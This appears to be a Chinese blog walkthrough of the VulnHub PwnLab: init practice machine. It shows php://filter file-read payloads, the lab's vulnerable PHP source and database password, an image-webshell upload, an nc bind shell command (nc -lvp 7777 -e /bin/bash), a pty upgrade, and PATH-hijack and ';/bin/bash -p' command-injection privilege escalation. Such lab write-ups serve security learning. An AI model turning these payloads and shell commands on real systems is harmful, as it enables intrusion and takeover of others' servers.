前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >VulnHub靶场 PwnLab: init 渗透测试思路

VulnHub靶场 PwnLab: init 渗透测试思路

作者头像
曈曈too
发布2024-08-24 14:16:23
发布2024-08-24 14:16:23
19510
代码可运行
举报
运行总次数:0
代码可运行

VulnHub靶场 PwnLab: init 渗透测试思路

0x00 靶机链接

PwnLab: init ~ VulnHub

0x01 信息收集

端口扫描
image-20240823090207990
image-20240823090207990
目录扫描
image-20240823090427236
image-20240823090427236

0x02 web测试

访问网页
image-20240823090547166
image-20240823090547166

点击登陆发现有一个page参数,尝试使用伪协议读取页面内容

代码语言:javascript
代码运行次数:0
运行
复制
?page=php://filter/read=convert.base64-encode/resource=index
?page=php://filter/read=convert.base64-encode/resource=config
?page=php://filter/read=convert.base64-encode/resource=upload
?page=php://filter/read=convert.base64-encode/resource=login

分别解码得到index.php源码,发现这里存在一个文件包含漏洞

代码语言:javascript
代码运行次数:0
运行
复制
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
        if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
        else
        {
                echo "Use this server to upload and share image files inside the intranet";
        }
?>
</center>
</body>
</html> 

这里发现了一个文件包含漏洞

upload.php源码

代码语言:javascript
代码运行次数:0
运行
复制
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
        <body>
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
                </form>
        </body>
</html>
<?php 
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png"); 

                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }

                if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}

?>

是个白名单验证只能上传图片马,然后使用index.php的文件包含漏洞getshell,这里需要登陆才能上传文件

利用伪协议得到config.php源码,得到数据库密码,3306端口开放

代码语言:javascript
代码运行次数:0
运行
复制
<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?> 

连接数据库得到登陆密码,这是是使用的base64编码,得到了三个用户以及密码,登陆上传图片马

image-20240823092114297
image-20240823092114297

使用gif上传图片马成功

image-20240823093128078
image-20240823093128078

根据upload.php源代码得到文件保存在upload/a7200b4bac77e8804f9e48304a92b6d9.gif

Getshell

蚁剑连接图片马得到shell

image-20240823094618416
image-20240823094618416

使用nc反弹shell

代码语言:javascript
代码运行次数:0
运行
复制
nc -lvp 7777 -e /bin/bash

kali成功连接

image-20240823095047977
image-20240823095047977

使用Python获得一个完整的shell

image-20240823095315168
image-20240823095315168
代码语言:javascript
代码运行次数:0
运行
复制
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo;fg
reset
export SHELL=bash
export TERM=xterm

0x03 提权

查看/etc/passwd文件发现一下三个用户,尝试使用刚才数据库中获得的密码登陆成功

image-20240823095750498
image-20240823095750498
  • kent:登陆成功,没有发现有用价值
  • mike:登陆失败
  • kane:登陆成功。发现用户目录存在文件msgmike有执行权限

查看msgmike内容,发现如下

image-20240823100758305
image-20240823100758305

执行命令时,会从PATH环境变量中寻找这个命令所以我们可以设置环境变量

image-20240823101614683
image-20240823101614683

执行后提权到mike

image-20240823101742769
image-20240823101742769

然后在mike家目录发现msg2root文件,打开IDA分析得知运行程序,输入;/bin/bash -p,就可以得到root权限

image-20240823103011523
image-20240823103011523
image-20240823103354912
image-20240823103354912

查看root目录下的flag.txt文件

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-08-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • VulnHub靶场 PwnLab: init 渗透测试思路
    • 0x00 靶机链接
    • 0x01 信息收集
    • 0x02 web测试
    • 0x03 提权
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档